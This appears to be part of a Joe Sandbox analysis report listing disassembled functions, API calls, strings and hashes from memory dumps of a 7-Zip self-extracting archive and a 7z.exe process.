Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT(00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 00412770
memcpy.MSVCRT(00000000,00ABCA58,00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?), ref: 00412799
??3@YAXPAX@Z.MSVCRT(00ABCA58,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 004127A4

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

7-Zip SFX, xrefs: 00404750
Could not allocate memory, xrefs: 00404755

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 7z.exePID: 3180, Parent PID: 420COMMON

Executed Functions

Function 007D8817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 007D8826
GetStdHandle.KERNEL32 ref: 007D887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 007D888E
_CxxThrowException.MSVCRT ref: 007D89BD

Strings

offset=, xrefs: 007D8ECF
7-Zip cannot find the code that works with archives., xrefs: 007D8A54
KSNFMGOPBELH, xrefs: 007D8CDC, 007D8D4A
Formats:, xrefs: 007D8CC7
|| , xrefs: 007D8F0B
Unsupported archive type, xrefs: 007D8AAD, 007D8BB8
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 007D881F
Codecs:, xrefs: 007D903E
Hashers:, xrefs: 007D92B6
, xrefs: 007D8FD6
Libs:, xrefs: 007D8C5B
Can't load module: , xrefs: 007D8A04

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: a931e12469d36633656629b368bfb4bc4574337cde60d6b1639cb76b79ae0d71
Instruction ID: 50d6c1bcc17cdfa358a50078a79521d6423c1382b77f853ba6e1b005870e9350
Opcode Fuzzy Hash: a931e12469d36633656629b368bfb4bc4574337cde60d6b1639cb76b79ae0d71
Instruction Fuzzy Hash: 90728B72608A81D6DB64EF25E4943AE7371F788B80F408127DA8E47B69DF3CD859CB41

Function 007B24C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007B26E4
free.MSVCRT ref: 007B26EF
free.MSVCRT ref: 007B274F
free.MSVCRT ref: 007B275A
free.MSVCRT ref: 007B27FF
free.MSVCRT ref: 007B2807
free.MSVCRT ref: 007B2818
free.MSVCRT ref: 007B2826
free.MSVCRT ref: 007B2831
free.MSVCRT ref: 007B2869
free.MSVCRT ref: 007B2871
free.MSVCRT ref: 007B2882
free.MSVCRT ref: 007B2951
free.MSVCRT ref: 007B295C
free.MSVCRT ref: 007B2A36
free.MSVCRT ref: 007B2A3E
free.MSVCRT ref: 007B2A52
free.MSVCRT ref: 007B2A6C
free.MSVCRT ref: 007B2A77
free.MSVCRT ref: 007B2B8F
free.MSVCRT ref: 007B2B97
free.MSVCRT ref: 007B2BA8
free.MSVCRT ref: 007B2BB6
free.MSVCRT ref: 007B2BC1
free.MSVCRT ref: 007B2C12
free.MSVCRT ref: 007B2C1D
free.MSVCRT ref: 007B2C30
free.MSVCRT ref: 007B2C3B
free.MSVCRT ref: 007B2C4E
free.MSVCRT ref: 007B2C59
free.MSVCRT ref: 007B2C6C
free.MSVCRT ref: 007B2C77
free.MSVCRT ref: 007B2CA7
free.MSVCRT ref: 007B2CAF
free.MSVCRT ref: 007B2CBB
